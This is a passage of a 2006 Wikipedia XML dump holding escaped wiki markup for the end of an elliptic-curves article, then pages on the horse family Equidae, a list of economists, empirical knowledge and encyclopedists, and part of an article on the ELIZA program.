The above group can be described algebraically as well as geometrically. Given the curve ''y''&lt;sup&gt;2&lt;/sup&gt; = ''x''&lt;sup&gt;3&lt;/sup&gt; &amp;minus; ''px'' &amp;minus; ''q'' over the field ''K'' (whose characteristic we assume to be neither 2 nor 3), and points ''P'' = (''x''&lt;sub&gt;''P''&lt;/sub&gt;, ''y''&lt;sub&gt;''P''&lt;/sub&gt;) and ''Q'' = (''x''&lt;sub&gt;''Q''&lt;/sub&gt;, ''y''&lt;sub&gt;''Q''&lt;/sub&gt;) on the curve, assume first that ''x''&lt;sub&gt;''P''&lt;/sub&gt; &amp;ne; ''x''&lt;sub&gt;''Q''&lt;/sub&gt;. Let ''s'' = (''y''&lt;sub&gt;''P''&lt;/sub&gt; &amp;minus; ''y''&lt;sub&gt;''Q''&lt;/sub&gt;)/(''x''&lt;sub&gt;''P''&lt;/sub&gt; &amp;minus; ''x''&lt;sub&gt;''Q''&lt;/sub&gt;); since ''K'' is a field, ''s'' is well-defined. Then we can define ''R'' = ''P'' + ''Q'' = (''x''&lt;sub&gt;''R''&lt;/sub&gt;, ''y''&lt;sub&gt;''R''&lt;/sub&gt;) by 

:&lt;math&gt;x_R = s^2 - x_P - x_Q&lt;/math&gt;
:&lt;math&gt;y_R = -y_P + s(x_P - x_R)&lt;/math&gt;

If ''x''&lt;sub&gt;''P''&lt;/sub&gt; = ''x''&lt;sub&gt;''Q''&lt;/sub&gt;, then there are two options: if ''y''&lt;sub&gt;''P''&lt;/sub&gt; = &amp;minus;''y''&lt;sub&gt;''Q''&lt;/sub&gt;, then the sum is defined as 0; thus, the inverse of each point on the curve is found by reflecting it across the ''x''-axis. If ''y''&lt;sub&gt;''P''&lt;/sub&gt; = ''y''&lt;sub&gt;''Q''&lt;/sub&gt; &amp;ne; 0, then ''R'' = ''P'' + ''P'' = 2''P'' = (''x''&lt;sub&gt;''R''&lt;/sub&gt;, ''y''&lt;sub&gt;''R''&lt;/sub&gt;) is given by 

:&lt;math&gt;s = {(3{x_P}^2 - p)}/{(2y_P)}&lt;/math&gt;
:&lt;math&gt;x_R = s^2 - 2x_P&lt;/math&gt;
:&lt;math&gt;y_R = -y_P + s(x_P - x_R)&lt;/math&gt;

If ''y''&lt;sub&gt;''P''&lt;/sub&gt; = ''y''&lt;sub&gt;''Q''&lt;/sub&gt; = 0, then ''P'' + ''P'' = 0.

==Elliptic curves over the complex numbers==
The formulation of elliptic curves as the embedding of a [[torus]] in the [[complex projective plane]] follows naturally from a curious property of [[Weierstrass's elliptic functions]].  These functions and their first derivative are related by the formula

:&lt;math&gt;\wp'(z)^2 = 4\wp(z)^3 -g_2\wp(z) - g_3&lt;/math&gt;

Here, &lt;math&gt;g_2&lt;/math&gt; and &lt;math&gt;g_3&lt;/math&gt; are constants; &lt;math&gt;\wp(z)&lt;/math&gt; is the [[Weierstrass's elliptic functions|Weierstrass elliptic function]] and &lt;math&gt;\wp'(z)&lt;/math&gt; its derivative. It should be clear that this relation is in the form of an elliptic curve (over the complex numbers). The Weierstrass functions are doubly-periodic; that is, they are period with respect to a [[fundamental pair of periods|lattice]] &amp;Lambda;; in essence, the Weierstrass functions are naturally defined on a torus &lt;math&gt;T=\mathbb{C}/\Lambda&lt;/math&gt;. This torus may be embedded in the complex projective plane by means of the map 

:&lt;math&gt;z\to (1,\wp(z), \wp'(z))&lt;/math&gt;.

This map is a [[group isomorphism]], carrying the natural group structure of the torus into the projective plane. It is also an isomorphism of [[Riemann surface]]s, and so topologically, a given elliptic curve looks like a torus.   If the lattice &amp;Lambda; is related to a lattice ''c''&amp;Lambda; by multiplication by a non-zero complex number ''c'', then the corresponding curves are isomorphic. Isomorphism classes of elliptic curves are specified by the [[j-invariant]]. 

The isomorphism classes can be understood in a simpler way as well. The constants &lt;math&gt;g_2&lt;/math&gt; and &lt;math&gt;g_3&lt;/math&gt;, called the [[modular invariant]]s, are uniquely determined by the lattice, that is, by the structure of the torus. However, the complex numbers are the [[splitting field]] for polynomials, and so the elliptic curve may be written as

:&lt;math&gt;y^2=x(x-1)(x-\lambda)&lt;/math&gt;

One finds that 

:&lt;math&gt;g_2 = \frac{4^{1/3}}{3} (\lambda^2-\lambda+1)&lt;/math&gt;
and
:&lt;math&gt;g_3=\frac{1}{27} (\lambda+1)(2\lambda^2-5\lambda+2)&lt;/math&gt;

so that the [[modular discriminant]] is

:&lt;math&gt;\Delta = g_2^3-27g_3^2 = \lambda^2(\lambda-1)^2&lt;/math&gt;

Here, &amp;lambda; is sometimes called the [[modular lambda function]].

Note that the [[uniformization theorem]] states that every [[compact]] [[Riemann surface]] of genus one can be represented as a torus.

==Elliptic curves over a general field==
Elliptic curves can be defined over any [[field (mathematics)|field]] ''K''; the formal definition of an elliptic curve is a non-singular projective algebraic curve over ''K'' with [[genus (mathematics)|genus]] 1 with a given point defined over ''K''.

If the [[characteristic (algebra)|characteristic]] of ''K'' is neither 2 nor 3, then every elliptic curve over ''K'' can be written in the form
:''y''&lt;sup&gt;2&lt;/sup&gt; = ''x''&lt;sup&gt;3&lt;/sup&gt; &amp;minus; ''px'' &amp;minus; ''q''
where ''p'' and ''q'' are elements of ''K'' such that the right hand side polynomial ''x''&lt;sup&gt;3&lt;/sup&gt; &amp;minus; ''px'' &amp;minus; ''q'' does not have any double roots. If the characteristic is 2 or 3, then more terms need to be kept.

One typically takes the curve to be the set of all points (''x'',''y'') which satisfy the above equation and such that both ''x'' and ''y'' are elements of the [[algebraic closure]] of ''K''. Points of the curve whose coordinates both belong to ''K'' are called '''''K''-rational points'''.

==Connections to number theory==
The [[Mordell-Weil theorem]] states that if the underlying field ''K'' is the field of [[rational number]]s (or more generally a [[number field]]), then the group of ''K''-rational points is [[finitely generated abelian group|finitely generated]]. This means that the group can be expressed as the [[direct sum of modules#Construction for two abelian groups|direct sum]] of a [[free abelian group]] and a finite [[torsion subgroup]]. While it is relatively easy to determine the torsion subgroup of ''E''(''K''), no general algorithm is known to compute the [[rank of an abelian group|rank]] of the free subgroup. A formula for this rank is given by the [[Birch and Swinnerton-Dyer conjecture]].

The recent proof of [[Fermat's last theorem]] proceeded by proving a special case of the deep [[Taniyama-Shimura conjecture]] relating elliptic curves over the rationals to [[modular form]]s; this conjecture has since been completely proved.

While the precise number of rational points of an elliptic curve ''E'' over a [[finite field]] '''F'''&lt;sub&gt;''p''&lt;/sub&gt; is in general rather difficult to compute, [[Hasse's theorem on elliptic curves]] tells us
:&lt;math&gt; \left| \sharp E( \mathbb{F}_p ) - p - 1 \right| &lt; 2 \sqrt{p} &lt;/math&gt;

This fact can be understood and proven with the
help of some general theory; see [[local zeta function]], [[Étale cohomology]].  The number of points on a specific curve can be computed with [[Schoof's algorithm]].

For further developments see [[arithmetic of abelian varieties]].

==Algorithms that use elliptic curves==
Elliptic curves over finite fields are used in some [[cryptography|cryptographic]] applications as well as for [[integer factorization]]. Typically, the general idea in these applications is that a known [[algorithm]] which makes use of certain finite groups is rewritten to use the groups of rational points of elliptic curves. For more see also: 

* [[Elliptic curve cryptography]]
* [[Elliptic Curve DSA]]
* [[Lenstra elliptic curve factorization]]
* [[Elliptic curve primality proving]].

==References==
* {{cite book
 | author = [[Richard Crandall]]
 | coauthors = [[Carl Pomerance]]
 | year = 2001
 | title = Prime Numbers: A Computational Perspective
 | publisher = Springer
 | edition = 1st edition
 | id = ISBN 0387947779
 | chapter = Chapter 7: Elliptic Curve Arithmetic
 | pages = pp.285–352
 }}

==External links==
* [http://www.math.niu.edu/~rusin/known-math/index/14H52.html The Mathematical Atlas: 14H52 Elliptic Curves]
* {{MathWorld | title = Elliptic Curves | urlname = EllipticCurve }}

[[Category:Algebraic curves]]
[[Category:Analytic number theory]]
[[Category:Elliptic functions]]
[[Category:Group theory]]

[[ca:Corba el·líptica]]
[[de:Elliptische Kurve]]
[[es:Curvas elípticas]]
[[fi:Elliptinen käyrä]]
[[fr:Courbe elliptique]]
[[he:עקום אליפטי]]
[[ja:楕円曲線]]
[[ko:타원 곡선]]
[[pl:Krzywe eliptyczne]]
[[ru:Эллиптическая кривая]]
[[zh:椭圆曲线]]</text>
    </revision>
  </page>
  <page>
    <title>Equidae</title>
    <id>10229</id>
    <revision>
      <id>39741922</id>
      <timestamp>2006-02-15T15:21:38Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>Wikify dates</comment>
      <text xml:space="preserve">{{Taxobox
| color = pink
| name = Equids
| image = 00296 zebra.jpg
| image_width = 250px
| image_caption = [[Plains Zebra]]s
| regnum = [[Animal]]ia
| phylum = [[Chordate|Chordata]]
| classis = [[Mammal]]ia
| ordo = [[Perissodactyla]]
| familia = '''Equidae'''
| familia_authority = [[John Edward Gray|Gray]], 1821
| genus = '''''Equus'''''
| genus_authority = [[Carolus Linnaeus|Linnaeus]], 1758
| subdivision_ranks = Species
| subdivision = 
''E. asinus'' - [[Donkey]]&lt;br/&gt;
''E. africanus'' - [[African Wild Ass]]&lt;br/&gt;
''E. caballus'' - [[Horse|Domestic Horse]]&lt;br/&gt;
''E. ferus'' - [[Wild Horse]]&lt;br/&gt;
''E. grevyi'' - [[Grevy's Zebra]]&lt;br/&gt;
''E. hemionus'' - [[Onager]]&lt;br/&gt;
''E. kiang'' - [[Kiang]]&lt;br/&gt;
''E. quagga'' - [[Plains Zebra]]&lt;br/&gt;
''E. zebra'' - [[Mountain Zebra|Cape Mountain Zebra]]&lt;br/&gt;
''E. hartmannae'' - [[Mountain Zebra|Hartmann's Mountain Zebra]]
}}

'''Equidae''' is the family of [[horse]]-like animals, order [[Perissodactyla]].  It is sometimes known as the '''horse family'''.   Apart from the horses, other extant equids include the [[Donkey]], the three [[zebra]]s and the [[Onager]].  All of these are in the [[genus]] '''Equus'''.

* '''ORDER [[Perissodactyla|PERISSODACTYLA]]'''
** '''Family Equidae'''
*** [[Wild Horse]], ''Equus ferus''
**** [[Tarpan]] or Eurasian Wild Horse, ''Equus ferus ferus'' ([[Extinction|extinct]])
**** [[Przewalski's Horse]] or Mongolian Wild Horse, ''Equus ferus przewalskii''
*** [[Horse|Domestic Horse]], ''Equus caballus''
*** [[Donkey]], ''Equus asinus''
*** [[African Wild Ass]], ''Equus africanus''
**** [[Nubian Wild Ass]], ''Equus africanus africanus''
**** [[Somali Wild Ass]], ''Equus africanus somalicus''
*** [[Onager]] or [[Asiatic Ass]], ''Equus hemionus''
**** [[Mongolian Wild Ass]], ''Equus hemionus hemionus''
**** [[Syrian Wild Ass]], ''Equus hemionus hemippus'' ([[Extinction|extinct]])
**** [[Gobi Kulan]] or [[Dziggetai]] , ''Equus hemionus luteus''
**** [[Turkmenian Kulan]], ''Equus hemionus kulan''
**** [[Persian Onager]], ''Equus hemionus onager''
**** [[Indian Wild Ass]] or [[Khur]], ''Equus hemionus khur''
*** [[Kiang]], ''Equus kiang''
**** [[Western Kiang]], ''Equus kiang kiang''
**** [[Eastern Kiang]], ''Equus kiang holdereri''
**** [[Southern Kiang]], ''Equus kiang polyodon''
*** [[Plains Zebra]], ''Equus quagga''
**** [[Quagga]], ''Equus quagga quagga'' ([[Extinction|extinct]])
**** [[Burchell's Zebra]], ''Equus quagga burchellii''
**** [[Grant's Zebra]], ''Equus quagga boehmi''
**** [[Selous' zebra]], ''Equus quagga borensis''
**** [[Chapman's Zebra]], ''Equus quagga chapmani''
**** [[Crawshay's Zebra]], ''Equus quagga crawshayi''
*** [[Mountain Zebra|Cape Mountain Zebra]], ''Equus zebra''
*** [[Mountain Zebra|Hartmann's Mountain Zebra]], ''Equus hartmannae''
*** [[Grevy's Zebra]], ''Equus grevyi''
** Family [[Tapiridae]]: tapirs, 4 species in one genus
** Family [[Rhinocerotidae]]: rhinoceroses, 5 species in 4 genera

==See also==
*[[Evolution of the Horse]]

==References==
* Duncan, P. (ed.). 1992. Zebras, Asses, and Horses: an Action Plan for the Conservation of Wild Equids. IUCN/SSC Equid Specialist Group. IUCN, Gland, Switzerland.
* Equid Specialist Group 1996. Equus ferus. In: IUCN 2004. 2004 IUCN Red List of Threatened Species. &lt;www.iucnredlist.org&gt;. Downloaded on [[21 January]] [[2006]].
* Equid Specialist Group 1996. Equus ferus ssp. przewalskii. In: IUCN 2004. 2004 IUCN Red List of Threatened Species. &lt;www.iucnredlist.org&gt;. Downloaded on [[21 January]] [[2006]].
* Groves, C.P. &amp; Bell, H.B. 2004. New investigations on the taxonomy of the zebras genus Equus, subgenus Hippotigris. Mammalian Biology. 69: 182-196. 
* Higuchi et al. 1987. Mitochondrial DNA of the Extinct Quagga: Relatedness and Extent of Postmortem Change. Journal of Molecular Evolution 25:283-287.
* International Commission on Zoological Nomenclature. 2003. Opinion 2027 (Case 3010). Usage of 17 specific names based on wild species which are pre-dated by or contemporary with those based on domestic animals (Lepidoptera, Osteichthyes, Mammalia): conserved. Bull.Zool.Nomencl., 60:81-84.


{{horse-stub}}

[[Category:Equids| ]]

[[bg:Коне]]
[[de:Pferde]]
[[es:Equidae]]
[[eo:Ekvedoj]]
[[fr:Equidae]]
[[ko:말과]]
[[it:Equus]]
[[he:סוסיים]]
[[la:Equidae]]
[[lt:Arkliniai]]
[[nl:Paardachtigen]]
[[pl:Koniowate]]
[[pt:Equus]]
[[sv:Hästdjur]]
[[vi:Họ Ngựa]]
[[zh:马科]]</text>
    </revision>
  </page>
  <page>
    <title>List of economists</title>
    <id>10231</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>42097942</id>
      <timestamp>2006-03-03T20:39:26Z</timestamp>
      <contributor>
        <username>Atlastawake</username>
        <id>74742</id>
      </contributor>
      <comment>/* S */</comment>
      <text xml:space="preserve">This is an alphabetical list of well-known '''[[economists]]'''. Economists are scholars conducting research in the field of [[economics]].

{{compactTOC5}}

===A===
*[[George Akerlof]]
*[[Armen Alchian]]
*[[Maurice Allais]]
*[[Roy G D Allen]]
*[[Elisabeth Altmann-Gottheiner]]
*[[Takeshi Amemiya]]
*[[Georges Anderla]]
*[[Kenneth Arrow]]
*[[Thomas Attwood]]
*[[Robert J. Aumann]]

===B===
*[[Ludwig Bamberger]]
*[[Paul A. Baran]]
*[[Robert Barro]]
*[[Frederic Bastiat]]
*[[Peter Thomas Bauer]]
*[[Robert Dudley Baxter]]
*[[Gary Becker]]
*[[Truman Bewley]]
*[[Jagdish Bhagwati]]
*[[Kenneth Binmore]]
*[[Fischer Black]]
*[[Walter Block]]
*[[Eugen von Boehm-Bawerk]]
*[[Giovanni Botero]]
*[[William Brainard]]
*[[William Breit]]
*[[Donald Brown]]
*[[James M. Buchanan]]
*[[Raymond Burgess]]

===C===
*[[Bryan Caplan]] &lt;!--not well-known?--&gt;
*[[David Card]]
*[[Henry Charles Carey]]
*[[Edward Chamberlain]]
*[[Alfred D. Chandler, Jr.]] 
*[[Steven N. S. Cheung]] 
*[[Colin Clark]]
*[[John Bates Clark]]
*[[John Maurice Clark]]
*[[Ronald Coase]]
*[[Jean Baptiste Colbert]]
*[[Nicolaus Copernicus]]
*[[Antoine Augustin Cournot]]
*[[Caio Koch-Weser]]
*[[Charles Bickerdike]]

===D===
*[[Partha Dasgupta]]
*[[Hernando de Soto (economist)|Hernando de Soto]]
*[[Gerard Debreu]]
*[[Harold Demsetz]]
*[[Pat Devine]]
*[[Armando Di Filippo]]
*[[Peter Diamond_economist|Peter Diamond]]
*[[Maurice Dobb]]
*[[Evsey Domar]]
*[[Rudi Dornbusch]]
*[[Jules Dupuit]]

===E===
*[[Francis Ysidro Edgeworth]]
*[[Massimo Ellul]]
*[[Kenneth G. Elzinga]]
*[[Friedrich Engels]]
*[[Robert Engle]]

===F===
*[[Günter Faltin]]
*[[Eugene Fama]]
*[[Henry Fawcett]]
*[[Irving Fisher]]
*[[Marcus Fleming]]
*[[Robert Fogel]]
*[[Bruno Frey]]
*[[David Friedman]]
*[[Milton Friedman]]
*[[Ragnar Anton Kittil Frisch|Ragnar Frisch]]
*[[Masahisa Fujita]]
*[[Celso Furtado]]
*[[Mark Furtado]]

===G===
*[[James K. Galbraith|James Kenneth Galbraith]]
*[[John Kenneth Galbraith]]
*[[John Geanakoplos]]
*[[Henry George]]
*[[Silvio Gesell]]
*[[Victor Ginsburgh]]
*[[Edward Glaeser]]
*[[Clive Granger]]
*[[Alan Greenspan]]
*[[Keith Griffin]]
*[[Elgin Groseclose]]
*[[Dominique Guellec]]
*[[ismail Gunes]]

===H===
*[[Trygve Haavelmo]]
*[[Gottfried Haberler]]
*[[Mahbub ul Haq]]
*[[Arnold Harberger]]
*[[Roy Forbes Harrod|Sir Roy F. Harrod]]
*[[John Harsanyi]]
*[[Oliver Hart]]
*[[Jerry A. Hausman]]
*[[Robert Haveman]]
*[[Fumio Hayashi]]
*[[Friedrich Hayek]]
*[[Henry Hazlitt]]
*[[James Heckman]]
*[[Eli Heckscher]]
*[[Hazel Henderson]]
*[[Noreena Hertz]]
*[[Robert Heilbroner]]
*[[John Hicks]]
*[[Jack Hirshleifer]]
*[[Hans Hermann Hoppe]]
*[[Branko Horvat]]

===I===
*[[Ken Ichi Inada]]
*[[Otmar Issing]]

===J===
*[[Munir Jalil]]
*[[William Jevons]]
*[[Marshall Jevons]]
*[[Leif Johansen]]

===K===
*[[Nicholas Kaldor]]
*[[Michal Kalecki]]
*[[Leonid Kantorovich]]
*[[Ethan Kaplan]]
*[[Peter Kenen]]
*[[John Maynard Keynes]]
*[[Daniel Kahneman]]
*[[Steve Keen]]
*[[Charles Kennedy (economist)|Charles Kennedy]]
*[[Israel Kirzner]]
*[[Lawrence Klein]]
*[[Frank Knight]]
*[[Nikolai Kondratiev]] 
*[[Tjalling Koopmans]]
*[[Janos Kornai]]
*[[Naum Krasner]]
*[[Lawrence B. Krause]]
*[[Jan Kregel]]
*[[Paul Krugman]]
*[[Simon Kuznets]]
*[[Finn Kydland]]

===L===
*[[Ludwig Lachmann]]
*[[Art Laffer]]
*[[Steven Landsburg]]
*[[Oskar Lange]]
*[[Wassily Leontief]]
*[[Richard Levin]]
*[[Steven Levitt]]
*[[Harvey Leibenstien]]
*[[Evsei Liberman]]
*[[Erik Lindahl]]
*[[Friedrich List]]
*[[Max O. Lorenz]]
*[[Robert Lucas, Jr.]]
*[[Edward Luttwak]]

===M===
*[[Thomas Malthus]]
*[[Gerard de Malynes]]
*[[N. Gregory Mankiw]]
*[[Harry Markowitz]]
*[[Alfred Marshall]]
*[[Karl Marx]]
*[[Richard Maybury]]
*[[Daniel McFadden]]
*[[Carl Menger]]
*[[David Miles]]
*[[John Stuart Mill]]
*[[Jacob Mincer]]
*[[James Mirrlees]]
*[[Marta Misas]]
*[[Ludwig von Mises]]
*[[Franco Modigliani]]
* [[Herbert Mohring]]
*[[Gustave de Molinari]]
*[[Michio Morishima]]
*[[Robert Mundell]]
*[[John Muth]]
*[[Alva Myrdal]]
*[[Gunnar Myrdal]]

===N===
*[[John Forbes Nash]]
*[[John von Neumann]]
*[[Douglass North]]

===O===
*[[Ronald Oaxaca]]
*[[Bertil Ohlin]]
*[[Arthur Melvin Okun]]

===P===
*[[Vilfredo Pareto]]
*[[Jacques Parizeau]]
*[[Luigi Pasinetti]]
*[[Edith Penrose]]
*[[Carlota Perez]]
*[[Douglas Peters]]
*[[Sir William Petty]]
*[[Arthur Cecil Pigou]]
*[[Michael Polanyi]]
*[[Richard Posner]]
*[[Edward Prescott]]

===Q===
*[[Danny Quah]]
*[[Francois Quesnay]]

===R===
*[[Frank Plumpton Ramsey]]
*[[Daniel Raymond]]
*[[George Reisman]]
*[[David Ricardo]]
*[[Lionel Robbins]]
*[[Abraham Robinson]]
*[[Denis Robertson]]
*[[Joan Robinson]]
*[[Harvey S. Rosen]]
*[[Sherwin Rosen]]
*[[Alvin Roth]]
*[[Murray Rothbard]]
*[[Ariel Rubinstein]]
*[[Isaak Russman]]
*[[Bert Rürup]]
*[[Tadeusz Rybczynski]]
*[[ Justinian Rweyemamu]]

===S===
*[[Jeffrey Sachs]]
*[[Claude Henri de Rouvroy, Comte de Saint-Simon|Henri de Saint-Simon]]
*[[Paul Samuelson]]
*[[Jose Santana]]
*[[Thomas J. Sargent]]
*[[Jean-Baptiste Say]]
*[[Louis Say]]
*[[Herbert Scarf]]
*[[Thomas Schelling]]
*[[Gustav von Schmoller]]
*[[Theodore Schultz]]
*[[E. F. Schumacher|Ernst Schumacher]]
*[[Joseph Schumpeter]]
*[[Anna Schwartz]]
*[[Amartya Sen]]
*[[Nassau William Senior]]
*[[G. L. S. Shackle]]
*[[Robert Shiller]]
*[[Findlay Shirras]]
*[[Andrei Shleifer]]
*[[Martin Shubik]]
*[[Ota Sik]]
*[[Herbert Simon]]
*[[Julian Lincoln Simon]]
*[[Eugen Slutsky]]
*[[Jason Smith (economist)|Jason Smith]]
*[[Adam Smith]]
*[[Andrzej Sławiński]]
*[[Thomas Smith]]
*[[Vernon Smith]]
*[[Manmohan Singh]]
*[[Robert Solow]]
*[[Werner Sombart]]
*[[Hugo F. Sonnenschein]]
*[[Thomas Sowell]]
*[[Michael Spence]]
*[[Piero Sraffa]]
*[[T. N. Srinivasan]]
*[[George Joseph Stigler]]
*[[Joseph E. Stiglitz]]
*[[Lawrence Summers]]
*[[William Graham Sumner]]
*[[Paul Sweezy]]
*[[Paolo Sylos Labini]]
*[[Edward Szczepanik]]

===T===
*[[Lester G. Telser]]
*[[Richard Thaler]]
*[[Duncan Thomas]]
*[[Lester Thurow]]
*[[Jan Tinbergen]]
*[[James Tobin]]
*[[Michael Todaro]]
*[[Giulio Tremonti]]
*[[Anne Turgot]]
*[[Amos Tversky]]

===U===
*[[Christopher Udry]]
*[[Kazuhide Uekusa]]
*[[Hirofumi Uzawa]]

===V===
*[[Alexander Van der Bellen]]
*[[Bruno van Pottelsberghe]]
*[[Eugen Varga]]
*[[Thorstein Veblen]]
*[[William Vickrey]]
*[[Jacob Viner]]
*[[Robert W. Vishny]]
*[[Paul Volcker]]

===W===
*[[Léon Walras]]
*[[John Glen Wardrop]]
*[[Alfred Weber]]
*[[Max Weber]]
*[[Knut Wicksell]]
*[[Philip H Wicksteed]]
*[[Friedrich von Wieser]]
*[[Walter E. Williams]]
*[[Oliver Williamson]]

===X===

===Y===
*[[Janet Yellen]]
*[[Arthur Young]]

===Z===

==See also==
*[[The Bank of Sweden Prize in Economic Sciences in Memory of Alfred Nobel]]
*[[List of economics consultancies and think tanks]]
*[[List of business theorists]]
*[[List of corporate leaders]]

If you have an interest in the Economics and Business section of Wikipedia, drop by at [[Wikipedia:The Business and Economics Forum|The Business and Economics Forum]].

{{compactTOC5}}


[[Category:Economists]]
[[Category:Lists of people by occupation|Economists]]

[[bn:&amp;#2437;&amp;#2480;&amp;#2509;&amp;#2469;&amp;#2472;&amp;#2496;&amp;#2468;&amp;#2495;&amp;#2476;&amp;#2495;&amp;#2470; &amp;#2468;&amp;#2494;&amp;#2482;&amp;#2495;&amp;#2453;&amp;#2494;]]
[[cs:Seznam ekonom%C5%AF]]
[[de:Liste von Ökonomen]]
[[fr:Économistes célèbres]]
[[it:Lista di economisti]]
[[ja:&amp;#32076;&amp;#28168;&amp;#23398;&amp;#32773;]]
[[nl:Lijst van bekende economen]]
[[pl:Znani ekonomi&amp;#347;ci]]
[[zh:&amp;#32463;&amp;#27982;&amp;#23398;&amp;#23478;&amp;#21015;&amp;#34920;]]</text>
    </revision>
  </page>
  <page>
    <title>Empirical knowledge</title>
    <id>10232</id>
    <revision>
      <id>33876321</id>
      <timestamp>2006-01-04T19:36:10Z</timestamp>
      <contributor>
        <ip>203.98.111.238</ip>
      </contributor>
      <text xml:space="preserve">:''This article is about the ''a posteriori'' in [[Epistemology]].  You may be looking for information about a posteriori [[constructed languages]].''

'''Empirical''' or '''''a posteriori'' knowledge''' is [[propositional knowledge]] obtained by experience or sensorial information. It is contrasted with ''[[a priori|a priori knowledge]]'', or knowledge that is gained through the apprehension of [[innate idea]]s, &quot;[[intuition]],&quot; &quot;pure [[reason]],&quot; or other non-experiential sources.

The [[natural science|natural]] and [[social science]]s are usually considered ''[[a posteriori]]'', literally &quot;after the fact,&quot; disciplines. [[Mathematics]] and [[logic]] are usually considered ''[[a priori]]'', &quot;before the fact,&quot; disciplines.

For example, &quot;all things fall down&quot; would be an empirical proposition about [[gravity]] that many of us believe we know; therefore we would regard it as an example of empirical knowledge. It is &quot;[[empirical]]&quot; because we have generally observed that things fall down, so there is no reason to believe this will change. This example also shows the difficulty of formulating knowledge claims.  
Outside of the [[Earth]]'s gravitational field, for example, things do not &quot;fall down&quot;, as there is no &quot;down&quot;.

The vast bulk of the empirical knowledge that ordinary people possess is gained via a mixture of direct experience and the [[testimony]] of others about what they have experienced&amp;mdash;iterated in an interesting way that is studied in the field of [[social epistemology]] as well as other fields.  More complicated and organized methods of gaining empirical knowledge are the methods of [[science]]&amp;mdash;see [[scientific method]]&amp;mdash;which result in perhaps the best examples of rigorously codified, ''scientific'' empirical knowledge, namely, [[physics]].

[[David Hume]] considered all ''a posteriori'' knowledge to be a [[Matter of Fact]], and never explicitly utilised the term.

The modern perusal of ''a posteriori'' thought began with [[Immanuel Kant]] in a reactionary movement to Hume's sceptical approach to knowledge in his ''Enquiries Concerning Human Understanding''.  Kant, in adding the distinction between synthetic and analytic truths to the distinction between ''a priori'' and ''a posteriori'' knowledge, created four categories of knowledge (one of which, the [[analytic]] ''[[a posteriori]]'', is never possible). Thus, for Kant, the only type of ''a posteriori'' knowledge is the [[synthetic]] ''a posteriori''.  Because of this, Kant proposes that ''a posteriori'' propositions are, as a set, contingent, because ''a posteriori'' propositions all depend on external conditions, which may change in time, making the proposition false (e.g. &quot;My dog is a puppy&quot; has a truth value only ascertained by external verification).

[[Saul Kripke]] contends that the category of analytic ''a posteriori'' truths is nonempty, including, among other things, identity claims such as &quot;Water is H&lt;sub&gt;2&lt;/sub&gt;O&quot; and &quot;Hesperus is Phosphorus.&quot;

==See also==

* ''[[A priori]]''
* [[Empiricism]]
* [[Epistemology]]

[[Category:Latin philosophical phrases|A posteriori]]
[[Category:Epistemology]]

[[cs:A posteriori]]
[[de:Aposteriorisches Wissen]]
[[nl:A posteriori]]
[[sv:A posteriori]]
[[tl:A posteriori]]
[[tr:A posteriori]]</text>
    </revision>
  </page>
  <page>
    <title>Encyclopedist</title>
    <id>10233</id>
    <revision>
      <id>41069220</id>
      <timestamp>2006-02-24T21:28:34Z</timestamp>
      <contributor>
        <ip>84.66.229.60</ip>
      </contributor>
      <text xml:space="preserve">The term '''encyclopedist''' (often, though now less often, written '''encyclopaedist''' in [[British English]]) is usually used for a group of French authors who collaborated in the [[18th century]] in the production of the ''[[Encyclopédie]],'' under the direction of [[Denis Diderot]].  

More generally, it can also be used as a term for a person helping to write an [[encyclopedia]].

==See also==

*[[Encyclopedia]]
*[[Philosophe]]
*[[Marie Thérèse Rodet Geoffrin]]
*[[m:Wikimedia_servers|Wikimedia servers]] (The Wikimedia servers are named after these people)
*[[Wikipedian]]

[[Category:Encyclopedists|*]]

&lt;!-- interwiki --&gt;

[[eo:Enciklopediistoj]]
[[hr:Enciklopedisti]]
[[he:אנציקלופדיסטים]]
[[nl:Encyclopedist]]
[[ja:百科全書派]]
[[pl:Encyklopedysta]]
[[sk:Encyklopedista]]
[[zh:百科全书派]]</text>
    </revision>
  </page>
  <page>
    <title>ELIZA</title>
    <id>10235</id>
    <revision>
      <id>41890704</id>
      <timestamp>2006-03-02T11:46:35Z</timestamp>
      <contributor>
        <username>Lambiam</username>
        <id>745100</id>
      </contributor>
      <minor />
      <comment>rv vandalism by 62.253.245.100 to last by JLaTondre</comment>
      <text xml:space="preserve">'''ELIZA''' is a famous [[1966]] [[computer program]] by [[Joseph Weizenbaum]], which parodied a [[Rogerian psychotherapy|Rogerian therapist]], largely by rephrasing many of the patient's statements as questions and posing them to the patient. Thus, for example, the response to &quot;My head hurts&quot; might be &quot;Why do you say your head hurts?&quot; The response to &quot;My mother hates me&quot; might be &quot;Who else in your family hates you?&quot;

It is sometimes inaccurately said that ELIZA &quot;simulates&quot; (or worse, &quot;emulates&quot;) a therapist. Weizenbaum said that ELIZA provided a &quot;[[parody]]&quot; of &quot;the responses of a nondirectional psychotherapist in an initial psychiatric interview.&quot; He chose the context of psychotherapy to &quot;sidestep the problem of giving the program a data base of real-world knowledge&quot;, the therapeutic situation being one of the few real human situations in which a human being can reply to a statement with a question that indicates very little specific knowledge of the topic under discussion. For example, it is a context in which the question &quot;Who is your favorite composer?&quot; can be answered acceptably with responses such as &quot;What about your own favorite composer?&quot; or &quot;Does that question interest you?&quot;

Eliza worked by simple [[parsing]] and substitution of key words into canned phrases.  Depending upon the initial entries by the user the illusion of a human writer could be instantly dispelled, or could continue through several interchanges.  It was sometimes so convincing that there are many anecdotes about people becoming very emotionally caught up in dealing with ELIZA for several minutes until the machine's true lack of understanding became apparent.  All this was due to people's tendency to attach to words meanings which the computer never put there.

ELIZA impacted a number of early [[computer games]] by demonstrating additional kinds of [[interface design]]s.  [[Don Daglow]] wrote an enhanced version of the program called ''Ecala'' on a [[PDP-10]] [[mainframe]] computer at [[Pomona College]] in [[1973]] before writing the first [[Role Playing Game]], [[Dungeon (computer game)|Dungeon]] ([[1975]]).  It is likely that ''ELIZA'' was also on the system where [[Will Crowther]] created ''[[Colossal Cave Adventure|Adventure]]'', the 1975 game that spawned the [[interactive fiction]] genre.  But both these games appeared some nine years after the original ''ELIZA''.

